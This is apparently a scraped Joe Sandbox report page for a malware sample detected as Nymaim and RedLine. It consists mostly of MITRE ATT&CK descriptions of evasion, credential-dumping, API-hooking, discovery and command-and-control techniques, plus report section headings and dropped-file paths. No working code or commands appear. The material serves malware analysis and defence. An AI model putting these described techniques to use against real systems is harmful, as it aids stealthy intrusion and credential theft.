Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fJe9em23BB.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Nymaim

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe

C:\Program Files (x86)\ccSearcher\ccsearcher.exe

C:\Program Files (x86)\ccSearcher\checksums.txt (copy)

C:\Program Files (x86)\ccSearcher\completed.wav (copy)

C:\Program Files (x86)\ccSearcher\history.rtf (copy)

C:\Program Files (x86)\ccSearcher\is-21CP5.tmp

C:\Program Files (x86)\ccSearcher\is-310AV.tmp

C:\Program Files (x86)\ccSearcher\is-3EO63.tmp

C:\Program Files (x86)\ccSearcher\is-46B6D.tmp

C:\Program Files (x86)\ccSearcher\is-4LQTH.tmp

Windows Analysis Report
fJe9em23BB.exe

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre